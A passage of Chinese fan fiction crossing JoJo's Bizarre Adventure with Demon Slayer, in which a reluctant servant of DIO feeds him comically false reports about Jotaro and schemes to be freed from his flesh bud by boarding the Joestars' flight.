我并不知道在心里蛐蛐DIO能使他提前想到乔斯达家族并产生许多连锁反应,最终能使得它将我的未来的任务都一步规划到位。
如果我知道了话,我一定会让过去的我.......
算了,蛐蛐这种事情是不受人控制的,连内心蛐蛐屑老板的权利都被剥夺了话那过去的我也太可怜了。
不过现在的我并不知道这些,因此只能摸不着头脑,不明白自己为什么在路上闲逛就接到紧急任务出发去霓虹。
顺带一提,给我传送纸质任务书的家伙是宠物店。这只异能是冰系的隼从空中猛地俯冲下来,眼神狠厉,使在等待香喷喷烧饼的我不得不离开人群与它在人少的地方搏斗了一会。
直到宠物店被我一把抓住时,它才放弃了将利爪伸向我的脸,抬了抬脚上的金属信筒--一副自己只是来传信的样子。
要不是你刚刚和我打得那么激烈,我都要信了。
我甩下自己手上的羽毛,快速拿走了信筒中的纸条就后撤一步,躲过了宠物店的偷袭。
“唉。”我忍不住为恶劣的同事关系叹了口气,顺便展开了纸条,一时间僵在原地。
纸条上面写着即刻出发去霓虹,航班已安排。
我幽幽地看着发出刺耳笑声的宠物店,被这种赤果果的嘲笑给伤到了。
我把同事揣手里,同事把我踹沟里。要不是宠物店应该不会说话,我都要怀疑是它给我上的眼药了。
但是即刻出发吗?
我转身就走,没理会身后的刺耳的鸟叫。
我还有事情要处理。
*
“月彦小姐?”莱拉推开了家门,却没能得到预期回应。
难道月彦小姐又去找工作了吗?不过现在有点晚了,还没回来吗?
莱拉打开了灯。白炽灯的光照亮室内,室内整洁温馨,正如她离开前一样。不过,客厅的桌子上,多了一个装满着鲜花的花瓶。
那是盛放的幽紫色睡莲,带着沁人心脾的清香。
莱拉将手中的特产放在桌上,惊喜地看着鲜花,幽紫色的睡莲映在她眸中,与她温柔的紫色眼眸呼应着。
来到睡莲边,她才发现桌上还放着一封信和一个丝绒礼盒。
莱拉因为鲜花而欣喜的嘴角不由放下,她已经猜到了什么。
犹豫了片刻,她还是打开了信。信不长,但她看了又看,良久,才放下来信,发出一声喟叹。
“月彦小姐,还真是温柔啊。”
信旁边的礼盒中,紫色的宝石胸针静静躺着,传达着旅者的感激。
*
现在,莱拉应该回家了吧,这样应该能看到我的告别信和礼物了。
我透过舷窗,看着底下已经小如积木一般的建筑,有一种恍惚的感觉。
上次坐飞机应该还是以前实习出差的时候,这已经多久了呢?
外面的光线渐渐变暗,舷窗上映出了一个全然陌生的男性的面孔。
50.收集情报
上了飞机,我才知道DIO的势力渗透有多恐怖。
无论是到机场被人隐秘引导,还是证件齐全的假身份,都叫我不敢小瞧了DIO。如果按照DIO所说,他从海中苏醒的时间也并不长,但是就能接洽这种□□的一系列灰色产业,究竟靠的是什么呢?
我回想着引导我的人光洁的额头,不由哑然--总不能是靠人格魅力吧。
我现在的假身份是一位30岁左右的霓虹中年男性,是个没有什么名气的画家,爱好旅行。目前正打算从开罗回到霓虹,然后在空条承太郎所在的小镇寻找一些有的没的艺术灵感。
空条承太郎,就是与DIO百年前搏斗将其封印海底但被夺去身体的乔纳森·乔斯达的孙子的外孙,目前17岁,正处于霓虹所谓的无敌的高中生的年纪。
高中生啊......那不是花京院典明来打探更加合适吗?
我摸着下巴,来到了自己预定的酒店。公费旅行的好处就在于,报销!
因此我毫不犹豫地选择了当地最豪华的酒店,毕竟,苦了DIO也不能苦自己。
酒店的空调送来适宜的凉风,冰饮放在触手可及的地方,我窝在豪华套房的沙发上,翻动着最新出版的少年jumb。
啊,这就是生活啊~
在带薪出差中摸鱼,我享受着难得的惬意时光。
“叮咚。”门铃响起,我叹了口气,拉下衣领,看向自己锁骨处的DIO肉芽,它正在微微躁动。
在物理意义上的远离了DIO后,我曾想过要不就这么跑了一了百了,因为肉芽不一定是个由DIO随时能精准操控的炸弹,如果这么糊弄着过去或许就能熬到我体内的鬼舞辻无惨的细胞将其吞噬的时间。
但是显然,这个世界上的每一个老板都精通着压榨之术,落地后没有传回消息的第5天,就有着一个似乎部分能控制我体内肉芽的小孩过来,催促我快点干活。
随着他的到来,肉芽开始躁动不安。我只能拿出社畜摸鱼的话术开始推脱,什么准备不充分被识破了话对DIO大人不利,你难道在怀疑我对DIO大人的忠心吗?
一套成年人圆滑的组合拳下来,总算是能拖延一会了,但是,今天,还是不得不工作啊。
我站起身,打开了房门,一个保洁人员样的人笑盈盈地递给了我新的浴巾毛巾n件套。
我接过,关门,坐下,然后从浴巾中翻出了一文件夹,里面正装着关于乔瑟夫·乔斯达预定的航班信息。
这位乔瑟夫·乔斯达今年68岁,听说是个非常聪明的老头,他似乎已经发现了DIO的线索,目前还在全世界到处调查着。
“还是得快点开始调查啊。”我合上了文件夹,叹了口气。
DIO不就是想要空条承太郎的信息嘛,这点对我来说手到擒来!
*
“开玩笑吧,现在的日本高中生这么能长吗?”西餐厅中,我看着不远处坐在皮质沙发上穿着黑色制服的空条承太郎,陷入了深思。
这身高绝对有190+了吧!
不会在我离开之后,严胜和缘一还有歌他们也能达到这个高度吧?噫!难道是我给他们补肉蛋奶还不够吗?
“不不,那家伙绝对是例外。”旁边的侍者走到我旁边,小声耳语,“你可要注意了,那家伙可不好惹。”
我看过去,空条承太郎正带着一顶有着金属装饰的黑色的帽子,面无表情地看着空无一物的桌子。
我点头,正要继续探头观察,旁边的经理就朝我使了个眼色。
“喂,新来的,你去给那家伙送餐。”后厨的七分熟的西冷牛排已经好了,似乎没有人想给这一看就是逃课的不好惹的高中生送餐,纷纷推脱着。
而作为资历最浅的新人,这种烫手山芋理所当然地分配到了我手里。
打探情报也得打工啊.......
借助鬼舞辻无惨的变形能力,我这回化作鬼舞辻无惨的长相加上175的身高,成功在这家超级贵但是也不好吃的高级餐厅(黑店)进行打工。
而且这家餐厅居然连客人给我的小费都要全部收走!
我老实地点点头,接过餐盘,将食物摆放在了空条承太郎的餐桌上。
一看就没熟的配菜,以次充好的牛排,超高的价格,这家餐厅果然是黑店啊。
我收回瞄着食物的眼,然后站在一旁,老实等待着这位空条承太郎的用餐评价。
空条承太郎慢条斯理地拿起刀叉,沿着肉纹切割着牛排,放入嘴中尝了一口,就放下了刀叉,转身离开。
旁边脸色有些苍白的侍者一愣,在经理的打眼色下忙追了过去,“客人,您还没付钱呢?”
“我为什么要为垃圾付钱?”空条承太郎简直都不想回忆刚刚嘴里的味道。一米九五的身高显然带着天然的压迫感,空条承太郎冷着脸这么说的时候,一群侍者都不敢上前。
那个面色苍白的侍者也亦然,在说菜是“垃圾”的时候,他甚至眼神中还透露着一丝赞同之色。
只是或许是新人的缘故,又或许这种病秧子的样貌看起来很适合碰瓷,他还是被推着出来。
经理躲在面色苍白的侍者的身后,对着空条承太郎挥舞着拳头,“你这家伙,是想吃霸王餐吗?”
呵,欺软怕硬的家伙。
“哈?”空条承太郎仅是嘴中发出一声冷哼,就叫的那位经理直打颤。
但是黑店的尊严是要的,如果人人都这样,那还怎么能开下去。如果不能一直把难吃的东西卖出高价并且让吃过的人都不能发声,那么怎么才能骗来一波新顾客呢?
思及此,老板猛地踹一脚新来的那个脸白的想要死的侍者。
他先去分散点这个看起来就是不良的家伙的注意力,他再去背后偷袭,这样一来,好好教训一下那个不良,让他把他的那块表来抵餐费!
想着那块名贵的手表带在自己手上的样子,经理一时间心花怒放,却没留意那个新人位置移动,他直接踹了个空,一屁股摔在地上。
“哎呀,
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是你想和我打一架吗?”身材高大的黑发高中生活动了一下拳头,绿色的眼珠透着一股寒意。
没理会经理的求饶,空条承太郎让这家黑店感受了正义制裁。
我悄悄躲入人群中,摸了摸自己的肩膀,看向单方便暴打他人的空条承太郎。
刚刚那一瞬间,在我打算自己躲开前,空条承太郎的身后出现了一个紫色的人型替身,轻轻将我推了一下,躲开了会被经理踢到的局面。
不过空条承太郎对于紫色人型替身的出现看起来惊恐居多啊.....我回忆着他看见替身出现时一时间慌张的眼神,点了点头。
嗯,这样子信息就有了!
我在人仰马翻的餐厅中抽身而去,拿出圆珠笔,在本应该写着用餐体验的地方记下了空条承太郎的情报--牛排不吃七分熟!
教训完经理的承太郎放下了经理的领子,环视一周,并没有找到刚刚那个脸色苍白的侍者。
他总感觉,在那么一瞬间,那个家伙也能看见一直缠绕着他的幽灵!
*
我走进教室,环顾四周,很好,果然没看到空条承太郎。
“哎,老师你说JOJO嘛?他可不来上美术课呢?上一个美术老师就是被他打进医院的哦!”
我借假身份来空条承太郎的学校担任代课的美术老师。
根据我和同学们的交流,还原出事情始末。
“所以说,是那个美术老师空有其表还要摆架子,而且总是对女学生来着下流玩笑的关系,承太郎同学才将他打进医院的吗?”
女孩子们嘟着嘴,眼睛滴溜着转,“嗯哼,是这么一回事吗?说不定呢?jojo说不定是为了我才去打那个家伙的哦!”
说完,她们笑着打作一团,争jojo到底为谁出手。
jojo,这个称呼嘛,看来很受女孩子欢迎啊。
我点点头,继续在我的本子上写上新情报—空条承太郎讨厌艺术。
合上了关于空条承太郎的胡言乱语情报,我自觉感觉良好,适合交差。
嘛嘛,既然空条承太郎不上这节课,那我可以考虑出去了,毕竟我确实不会教美术啊。
宣布这节课自习后,教室里传来一阵欢呼,我离开教室,打算去校园哪里逛逛。
闲着的时候不摸鱼白不摸鱼。
不过我的算盘还是打空了,我看着躺在窗户上的粉发少年,又看看保健室里的空条承太郎一伙人,不由叹了口气。
“少年,这里很危险哦。”我伸手拍拍花京院典明的肩膀,迫使他收回了袭击保健室女老师的【法皇之绿】的触手,
没理会花京院典明惊诧的眼神,我对着躺在保健室床上警惕看着花京院典明的空条承太郎,敲了敲自己路边随便买的手表。
“空条承太郎同学,记得上课哦。”
话说,待会在情报里写上空条承太郎体弱多病,经常进保健室不知道可不可行啊?
我看着空条承太郎高大健壮的身躯,陷入了思考。
51.奴仆
然而正如同太阳总是要落下一样,阻止两个高中生打架显然是很难的。
顶着DIO肉芽的花京院典明并不是一个尊师重道的乖学生,他摸着自己的刘海,紧紧盯着我,“居然还有碍事的家伙吗?”
【法皇之绿】如同翡翠般透亮的触手从保健室老师的体内爬出,显现出了自己的存在。
绿色的触手几乎是铺天盖地地蔓延在了整个保健室内,空条承太郎压下来帽子,咬了咬牙。
真是糟糕啊,花京院典明。
我叹了口气,继续装作一个普通路过代课老师的样子,对那个懵懵的保健课老师笑一下,“千代老师,听说马上要开会了,大家在A栋的会议室等你哦~”
“诶诶,是嘛?谢谢你啊,你是.......”千代老师顾不上保健室里一群装病摸鱼的家伙,忙脱下白大褂向门口出去。
“我是新来的美术课代课老师哦~能提醒大美女千代老师是我的荣幸啦~”我笑着朝千代老师wink了一下,但显然这幅尊容不是她的菜。千代子老师讪笑了一下,加速离开了。
至于剩下的摸鱼学生,我的脸冷了下来,看着一群磨磨蹭蹭的男高,“千代老师去开会可不会给你们假条了,你们班主任现在在点名,还不回去吗?”
我这样对美女老师大献殷勤的中年男人让那群磨蹭男高大为不满,但是班主任点名却又是关键的,他们撇着嘴,叽叽咕咕地结伴离开了。
花京院典明对于可以作为人质的家伙被放走显然火大,【法皇之绿】猛地追了过去,正要拽起一个学生的脚腕,承太郎身后的紫色人型替身便上前对其狠狠出击。
嗯,看来没有什么我的戏份了。
裹紧了衣服,我高喊着“天呐,高中生们终于疯了,他们对着空气打什么架呢?”然后一路小跑蹿到能看见这间保健室的一棵树上,躺着了。
我是不支持高中生打架的,但是要我掺和的除外。看他们打得天昏地暗,空条承太郎的替身要把整个楼都要打塌了,我还是忍不住坐了起来。
不是吧,这么夸张!这样DIO还能打得过?
我回想着DIO因为久不晒太阳显得过于白皙的肌肤,再看看空条承太郎一副不良的样子,仿佛已经看到了DIO粉身碎骨的结局。
不过光靠武力可能不行,毕竟DIO的替身能力太过神秘莫测,总感觉很能阴人。
唉,不管怎么说还是多花点经费吧,万一DIO死的早这钱不就是浪费了吗!
这么想着,我又平静地躺了回去。
不过,如果真的对上空条承太郎这样的家伙,我打得过吗?
我将拳头举起,看着自己的因为握拳而隆起的肌肉,陷入思考--毕竟我只是个假冒的替身使者,除了能看到别人的替身外好像也没有什么特殊能力嘛。
虽然挂靠在dio那里我的身份应当是替身使者,但是我的替身似乎是没有的,替身能力是借用鬼舞辻无惨的,替身使者是不认识几个的。
总感觉这样太容易穿帮了吧。
伴随着我的思考,一个鬼魅的身影渐渐在我身边凝实。
咦,怎么感觉忽然怪冷的。树下好乘凉难道还能让人感冒吗?
我裹紧了衣服,四下张望,但是却没看见什么。
真奇怪,错觉吗?
我收回视线,看向远方的保健室,那里已经分出胜负了。
显然空条承太郎是有分寸的人,花京院典明躺在地上,像是受了内伤,但是依然还是有一口气的样子。
查看了伤情,空条承太郎就扛着花京院典明离开了。
我蹲在树上,极目远眺。
看着方向,应该是要回空条承太郎家的宅邸,那么说就应该是要向已经到达日本的乔瑟夫·乔斯达来分享自己的遇袭经历吧。
那么到时得去看看,关于DIO所谓的宿命般的敌人--全体乔斯达家族。
如果他们能成了话我应该就能直接解脱了吧。
我摸了摸自己锁骨上的肉芽,觉得十分可行。
在此之前,我先向dio汇报一下吧。
“所以这就是你得到的情报?”座机中传来DIO低沉的声音。
我看着自己记事本写的“体弱多病,常在保健室内;不爱吃7分熟的牛排,脾气暴躁......”,并没有犹豫,十分坚定地认可自己的努力。
“就是这样!没错,DIO大人。”虽然我猜测也有人给他寄去了空条承太郎的照片,195的健壮身躯可能会让他怀疑我情报的真实性。
但是我自有我的说法,谁叫他选择了我做眼睛呢!
“DIO大人请放心,我的情报都是基于现实然后进行了严密推理。”
“首先,我去空条承太郎的学校探查过,发现他出现在学校时大多处于保健室,而保健室正是给身体不好的人呆的地方。可见空条承太郎虽然看似体格健壮,但是内里很虚。”虽然空条承太郎只是去保健室那里摸鱼就是了。
“而且我发现空条承太郎脾气暴躁,易动怒,一旦惹他生气就会立马动手,这样的家伙绝对不是冷静的DIO大人您的对手。”呵,此乃谎言,虽然空条承太郎一直打架斗殴,但是根据我的尾随观察,他并非冲动易怒的家伙。
DIO听着座机传来的冷静汇报的女声,摸了摸自己的下巴。这个叫月彦的女人汇报时总是不动声色地拍着马屁,虽然这点是很叫人受用,但是她收集的情报却与他预料之中的相差甚远。
易怒的,空有其表的,病弱的,这难道就是乔纳森·乔斯达的子孙吗?
真是一代不如一代。
“wryyy!”电话那头传来夸张的笑声,我默默远离了话筒,保护自己的耳膜。
这关看来是过了吧,也许还能再糊弄一会?
我真打算客套几句再挂下电话,DIO的声音又从听筒传来。
“月彦,你是一直忠于我的吧?”虽是疑问句,但是DIO的话里却满是肯定。
啊,这种问题吗?
我殷勤跟上,“当然是如此,我会永远忠于dio大人您(的钱)!”
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“wryyyy!很好,月彦,我对你很是满意,我很信任你。看来花京院典明已经失败了,我会为你找新的人来协助你的工作的!你可要好好应用你的替身能力啊!”DIO笑着挂断了电话。
即使说着信任什么的话语,他的语调里还带着一种不容置疑的高傲和邪恶。
我放下座机的听筒,抿了抿嘴。
DIO这么说明显是完全没信任我啊,真是麻烦啊。再加上那超出寻常规格的肉芽,DIO这家伙到底对我起了什么疑心?
新的人比起来协助,更多的应该是监视吧。我猜比起之前那个作为普通人但是带着肉芽□□的小孩子,这次的家伙应该是个替身使者吧。
贴身跟着我的替身使者吗?
那可要小心别穿帮了。
不过现在先跟去空条承太郎家吧。
我窝在空条承太郎家的屋顶上,偷听着他们在说什么。
这间房间里摆着昏迷的花京院典明。现代屋顶并不能随意无声地捅破,我只能靠自己的听力来观察室内究竟发生着什么。
听着里面的动静,应该是乔瑟夫·乔斯达发现了寄生在花京院典明身上的肉芽,并宣告它将侵入他的体内并在几年内造成他的死亡。
这种肉芽会在他人触碰时就攻击对方并游走于触碰者的体内,所以即使是再高明的医师对此也没有办法。
但是空条承太郎的替身似乎有着无与伦比的精密度掌握,他选择了将肉芽硬拔出来。
太草率了!给我两个月我就能吞噬掉肉芽,到时候不需要谁受伤我就能将他人肉芽拔出。
我听着下面的动静,大感不妙,正决定翻身下去,就看见一个东西飞出室内,化为粉尘。
那是!花京院典明体内的肉芽!
*
开罗的某间公馆内,DIO放下了电话,打开了腿上的书。他修长的黑色指甲敲击着书的封面,安静的空间里回荡着有节奏的敲击声。
“您很愉悦吗?DIO大人,是预见了衰败的乔斯达家族已经对您毫无威胁了。”昏暗的灯光下,恩雅婆婆的有些浑浊的双眼透着一丝诡异。她看向自己认定的世界的支配者,话里有些疑惑。
“唔,这是一方面的事。恩雅婆婆,你应该知道同类会相互吸引这件事吧。”
“当然,这就像替身使者会相互吸引一样。”
“那我DIO的同类自然也会被我吸引,当然我说的不是那些普通的家伙。”DIO的眼中充满一种轻蔑,他没有看着书页,只是看向虚空,似乎想到了什么。
“那种充满邪恶的味道,我只会在很强的同类身上闻到,你说,有什么把这样的家伙变为自己的奴仆更让人欢喜雀跃的呢,这简直就像一打开红酒瓶的塞子就闻到好酒的气息一样令人兴奋呢!”无视着恩雅婆婆迷惑的神情,DIO从书中抽出了一张空白的塔罗牌,嘴角咧到骇人的地步。
“世界的支配者毕竟只有我一个。”
昏暗的灯光给着空白的塔罗牌镀上了像是黄昏般衰败的颜色。
52.离职
无痛离职的机会这不就来了吗?
看着化为粉尘的的肉芽,我大喜过望。
没想到解铃还须系铃人,抢走乔斯达先祖身体的DIO种下的肉芽竟然能靠乔斯达家族的子孙解开。此时不辞职还更待何时呢?
我听着屋内的谈话,正准备翻身下去,又觉得太过鲁莽了。
首先,我无法解释自己为什么在这里。悄无声息地被人窥视本来就扰人恼火,贸然揭露自己是监视他们的的人肯定会引起他们的警惕之心
其次,直接投诚说要背叛DIO还得解释自己为什么不被肉芽控制,这点解释起来过于麻烦,牵扯众多。我总不能说是依靠前老板留下的影响力吧,虽然这点是实话就是了。
再者,最关键的一点是,现在的空条承太郎似乎并不能做到再拔出一根DIO的肉芽。
我从屋顶转移了位置,轻轻落在空条家的宅邸内。宅邸的庭院内有几棵观赏用的枫树,现在正成了我的藏身之所。
枫树很美,只是现在我无心观赏。透过枫树枝叶,空条承太郎略显苍白的脸出现在门边,他的额角有着一些冷汗。
看起来这个即使是最权威的医生都难以完成的手术确实耗费了空条承太郎许多精力。他的手腕到脖颈处有被肉芽钻入的痕迹。
这么说来肉芽不仅会寄生宿主,还会尝试寄生试图祓除它的对象。我之前与花京院典明的肉芽保持着一定距离,仅是用外物触碰,因而没发觉这点。
那就明日再来吧,这毕竟是跑得了和尚跑不了庙的事。
我再次垂眸凝视着花京院典明此时光洁的额头和略显苍白的唇色,放下新来。
看花京院典明和空条承太郎虚弱的样子,一定是需要在养一会伤,那么他们肯定会在这个宅邸里逮到明天。
明天,我变换另一个模样过来,假装自己被肉芽控制攻击他们就无可以了。到时候,没过几个来回自然倒下。这样了话,再自然而然让他们发现我肉芽的存在,这样肉芽被祓除不就是手到擒来的事了嘛!
花京院典明的摸了摸自己的额头,看向外面的庭院。庭院显然是请专门的人士进行过打理,各色绿植错落有致地分布着。尤其是那火红的枫叶,简直就像是染了血一般,此时微微摆动。
是风吗?
花京院典明回过神来,忽然想到了什么,抬头看向了头发花白的乔瑟夫·乔斯达。
“乔斯达先生,我想起了一件事。”
乔瑟夫·乔斯达和空条承太郎等人的都看向了花京院典明,只见他面色微沉,神色却是有些复杂,“在我还在埃及的时候,DIO身边有着一个武力高强的女人。她的力量和速度都是毋庸置疑的顶尖水平,就算在我被肉芽控制的时候,还是能轻易被她控制住。”
“OH MY GOD!”乔瑟夫·乔斯达嘴巴都瞪大了,他回想起与被肉芽控制的花京院典明搏斗的承太郎身上的上,不由将手放在了脸上,“竟然还有这样的人吗?花京院,你知道她的替身是什么吗?”
听到乔瑟夫·乔斯达的问题,花京院典明像是想起了什么极为恐怖的事情,他的瞳孔放大,忍不住扶住了头,“我没见过她使用她的替身能力,她总是使用她的体术来抓我,但是她的替身......”
花京院典明长长地从嘴中吐了一口气,回忆起那一瞥,“她的替身,是我我见过最毛骨索然的替身了,一看见那个替身就让人回想起所有的负面情感,简直就像恐怖电影里的水琴声出现那一刻人会产生的第一反应。”
花京院典明的话让所有人都沉默了。他们还没弄清楚DIO的替身,就发现即使是DIO身边的人的替身都是如此可怖。替身是人精神的具象化,替身就让人感觉如此,那么那个女人......
空条承太郎皱了皱眉头,找到了花京院典明先前话中的细节,“为什么你说那个女人会去控制住有着肉芽的你,难道她原先不是DIO的手下?”
花京院典明点头,“这正是我要说的,这个女人是我在DIO肉芽控制的时候DIO点名说要抓捕的对象,如果我没有猜错的话,她现在应该也受着DIO的控制,而且......”
回想着先前那个女人从DIO的房间出来后说的“将来还要共事一段时间”,花京院典明接着补充道,“而且我怀疑她可能已经受DIO的指示准备前来追杀乔斯达先生和承太郎了,毕竟她先前有说过类似的话。”
“那可真是强劲的对手,再加上你所描述的替身,不打起精神来应对恐怕是不行的!”空条承太郎压低了帽子,眸色一深。阿布德尔也点了点头,与乔瑟夫·乔斯达神色凝重地对视了一眼。
花京院典明摸了摸自己的额头,之前一触即离的感觉似乎再次浮现。他看着充满战意的众人,缓慢地再次开口,字句斟酌,“不过我想她应该是一个好人。”
即使她的替身是那样吗?不需要要说出口,花京院典明都能读懂他们眼神里的意思。
花京院典明缓缓地点了点头。
有风从门外吹进来,他的粉色刘海微微起伏,露出了他有些复杂的眼神。
*
自从花京院典明看过来时,我就转移了地方,但是他的目光显然引着众人的目光一起来到了室外,这个宅邸也不再适合藏身。
干脆明天再来吧!我看着自己的手表上的时间,意识到现在已经是饭点。
因为肚子叫而被发现也太逊了,先去吃饭吧!
没有在为空条宅邸里的事而停留,我快乐地游走在街巷。并不知道自己错过了一张好人卡。
说起来,当初织子阿姨和歌的家如今在哪呢?
我攀上了一座墙,站在上面,望着全然现代化的建筑,脑中突然浮现起了全然不同的景象。
并不宽敞的小路,嚼着草料的毛驴,门口的鱼池,那个不大但是收留了我的破旧小屋。
当初不告而别,不知道他们怎么样了呢?
......
等肉芽祓除了,到处去转转吧。DIO给的经费还有许多,等这里的事情了结,我还能回到那里吧。
乡愁是扎根在内心的泉眼,总能在静下来时溢出泉水。我叹了口气,摇了摇头,不再深想。
回到酒店,吃完饭,再饱饱睡了一觉,我只觉得整个人容光焕发。掀开窗帘往外望去,很好,晴空万里,看来就是离职的黄道吉日。
我又踱步到落地镜前,看着镜中人的身影。
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苍白的面孔,海藻般的长发,看着就充满戾气的眼睛。眼睛眯起,嘴角一挑,就显得无限轻蔑。我看了又看,就觉得自己手也痒痒的。
果然!今天还是顶着鬼舞辻无惨的脸被打吧!
再说,之前我也顶着这张脸去那个贵得要死的西餐厅(黑店)打工,还与空条承太郎见过,这张脸应该给他留下过印象。
这样一来,我只要装作是被肉芽控制的杂鱼人士就行了,以乔斯达家族的品质,帮我这种迷途羔羊祓除肉芽应该也是顺手的事吧!
一想到马上就能离职成功,我哼着小曲走出了房门,叫了个超贵的计程车来到空条承太郎家不远处。
付完超贵的车费,我的内心波澜不惊,正思考着要用什么方式闯进去更显杂鱼风范,但一打开车门我就发现了不对劲。
这里忽然多出了许多陌生人的气息。听他们的呼吸声沉稳,看起来应该是练过家子的人。
发生了什么事呢?
我眯着眼,往墙根处走,趁着没人时纵身一翻墙潜入空条承太郎家中,但是奇怪的是,空条承太郎等人都不在家。
作为替身使者的他们都不在吗?
看着宅邸内突然出现的众多穿着spw制服的保镖,我低下身,往着他们最密集的处探去。
“贺莉小姐的身体怎么就突然虚弱成这样?”有一个年纪不小的保镖站在门口,小声耳语。
内室躺着空条承太郎的母亲--空条贺莉,她的身边摆满着各类仪器,医生模样的人进进出出,他们出来时总是叹气,眉头紧皱。
“看来医师还是不清楚贺莉小姐的病因,这果然不是能用现代医学解释的。果然是诅咒,DIO夺去了乔斯达先祖的躯体,他觉醒了替身,连带乔斯达血脉的人也觉醒了替身。可是,对于没有战斗意识的贺莉小姐,不完全觉醒的替身只会成为她的催命符!”
像是首领的保镖叹了口气,他转头看向内室面白如纸的贺莉,又深深地再叹了一口气,“乔斯达先生他们已经出发前往DIO所在开罗了,希望他们能快点解决DIO,否则贺莉小姐恐怕很难挺过两个月。”
原来是这样吗?
我远远望了一眼空条贺莉,她躺在那里,就像一株染上虫害而开始枯萎的月季。她的身上,隐隐可见有荆棘缠绕,吸取着她的生命力。
替身并不一定是件好事。
我摸着自己的锁骨,那里的肉芽还在跳动。
离职这件事可不能拖啊。就我过去的经验来看,这种事情越拖越会生事端。
我打晕了一个spw的保镖,顺利了套到了乔斯达们前往开罗的航班信息。
再次找了个超级无敌贵的出租车,我直接打车到附近的机场,直奔候机室。
但是候机室已经不见他们一伙人的身影了!对了对航班信息,现在飞机已经在检票了!
不是吧!
候机室里,有个身材矮小的老头慢悠悠地走着,还没登机。
真是抱歉啊。
我幻化成空姐的模样,火速将老头引至角落然后打晕他在幻化成他的样子登机。
终于成功了!我缓缓舒了一口气,看向坐在身边的花京院典明。
53.连锁反应
总感觉脖子后面好疼。
头发花白的老者扶着自己的腰,颤颤巍巍地从一楼的楼梯转角下爬起。
望着陌生的楼梯角落,他感觉自己的记忆像电视雪花片消散一样开始清晰。
他记得,刚才,应该是一个空姐说他的证件有问题,要给他临时办理什么手续来着。
他本身就是通过了DIO大人那边的人临时登机,因此被怀疑证件也有些心虚,便打算跟着空姐走,结果走到了人少的地方忽然就头一昏,没有了意识。
“该死!”灰塔眼神阴毒地盯着四周,放出了他如虫子般大的替身。替身嗡鸣着到处巡飞,然而那个空姐早已经不在这里。
等等,说起来,他的证件呢?
老者摸了摸自己身后,平时旅行用的双肩包已经不翼而飞。他慌了神,向前走了几步,却发现脚下踩着什么东西--那是包里的东西,除了证件其他的什么都在。就连他存放着不少钱的钱包都在。
如果这样了话?
灰塔低下了头,看向自己仅因为躺在地上而褶皱但是完整的衣物,缓缓舒了一口气。
不过,不为财,不为色?
糟了!
灰塔回过神来,看向手表,匆匆跑出楼梯转角,来到大厅,承太郎他们乘坐的航班已经出发了。
完蛋。
灰塔感觉自己的冷汗直流,一想起DIO那恐怖邪恶的气势,他根本不敢想象自己无法完成任务会有什么下场。
毕竟,就算他不能直接击杀承太郎他们,他也有把握在乘机时直接干掉机长,将其伪装成飞机事故。就算承太郎他们好命在事故中活下来,那也大大拖延了他们到达开罗的时间。
而现在,这架飞机到开罗只需要13小时左右,DIO大人完全没有融合好身体。
灰塔浑身战栗,感觉有种寒冰直直刺进了自己的心里,扎穿了孔,简直让他不能呼吸了。
如果让DIO大人知道是他的失误.....
“老先生,您没事吧?”一旁的年轻人看见有个老人脸色苍白,浑身颤抖,害怕他是突发什么疾病,连忙热心上前。
只是当他准备去搀扶老人的时候,手却被狠狠打开。一双阴冷的脸对上了他。
“滚远点。”看着烦人的家伙跌坐在地,灰塔沉着脸,走向了附近的座机,播出了一个熟悉的号码。
“请转告DIO大人,乔斯达家族已经发现了我们的计划,他们将我强行驱逐出了飞机,现在飞机正在直接飞向开罗,恐怕明天中午就要到达了。”
是的,绝对不是他自己的问题,都怪乔斯达家族太狡猾了。
至于究竟是不是乔斯达家族发现的他,那关他什么事!只要能逃过DIO的追究就好!
*
我并不知道自己替换的人是谁,只是上机后翻了翻那人的证件和护照,发现是个经常跨国出行的老人。
内心默默抱歉了一下,我就开始计划着如何行动。
上飞机这事确实在我预料之外,我虽然打算赶上空条承太郎他们,早日祓除肉芽,但是也不得不承认,飞机机舱内并不是一个适合动手的地方。
毕竟,现在正处于旅游旺季,机舱内虽然不是满座,但也有种不少普通游客。
虽然祓除肉芽并不一定需要在像是手术室一样干净且安静的环境内,但是前有吵架的情侣,后有踢着前座的小孩,一点也算不上安静。
我忍不住皱眉,就听见隔着两座的空调承太郎压下了帽子,大喊了一声“呀卡吗洗!”
机舱安静了下来,又不服气的家伙转头一看空条承太郎魁梧的身躯和一眼就像不良的样子,又都默默转回头,彻底闭嘴了。
空姐向空条承太郎投去了感激的眼神,但是空条承太郎继续压下了帽子,并不回应。
安静倒是安静了,但是这个狭小的座位也不适合祓除肉芽啊。待会肉芽暴动直接钻进承太郎体内,还不得吓死身边的普通人。
我略一沉吟,忽然想到了一个主意。
花京院典明看着右手旁的老者突然越过自己,拍了拍承太郎的肩膀。
“好心的小伙子,我看你身体强壮,能不能帮我个忙?”那个老者一张老脸笑成了多菊花,眼睛都眯了起来,看不清里面的神色。
好心?
刚刚那声“呀卡吗洗”还犹在耳边,看着承太郎面无表情的样子,花京院典明再看了看老者,面露同情。
真遗憾,现在就已经耳背和眼花了。
“老头,你要干什么?”空条承太郎的眼斜了过来,话里听不出情绪。
“哎,这个嘛,我是第一次上飞机,能麻烦带我去一下厕所吗?”老人挠了挠自己的脑袋,看起来还有些羞涩的意味。
花京院典明看不下去了,他手指向后指了指,“往那个方向直走就行。”
那个老头点了点头,但是依然看着空条承太郎,“你知道方向了吧,那就麻烦带我过去吧,好心的小伙子。”
他的手继续在空条承太郎的胳膊上紧紧抓着,手指似乎还在写着什么。
这样子下去不妙啊,空条承太郎绝对会发火吧。
花京院典明摇了摇头,正准备劝老人将紧紧攥着空条承太郎的手收回,却发现之前紧的像胶水的手此刻就像泥鳅一般丝滑得收回。
老人站起了身,径直向后走去。他的证件和护照被随意地塞在了前面座椅背后储物网中。
终于放弃胡搅蛮缠了吗?
花京院典明叹了口气,却发现左手边的承太郎也站了起来,“花京院,让一让。”
空条承太郎皱着眉头,看向了花京院典明,表情有些凝重。
无需多言,以花京院典明的悟性,他已经猜到了什么,他点了点头,看着空条承太郎跟着老者走到了厕所。
*
泰伦斯·T·达比放下了电话,他习惯性嘴角上扬的弧度消失了,他此刻脸上有着少见的苍白。
他的眼神移向二楼的房间,觉得腿开始变得僵硬了起来。
但是他知道现在不得不汇报。如果现在还拖延时间了话,他
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不敢想象后果。
他迅速上楼,轻轻扣门,门被一个矮小的仆从打开。
门一开,他就单膝跪地低着头进行汇报。
“DIO大人,灰塔传来消息,他说他已经被乔斯达家族的人发现,没能成功登上航班。现在,乔瑟夫·乔斯达和空条承太郎一行人已经搭乘上了飞机,预计.....”
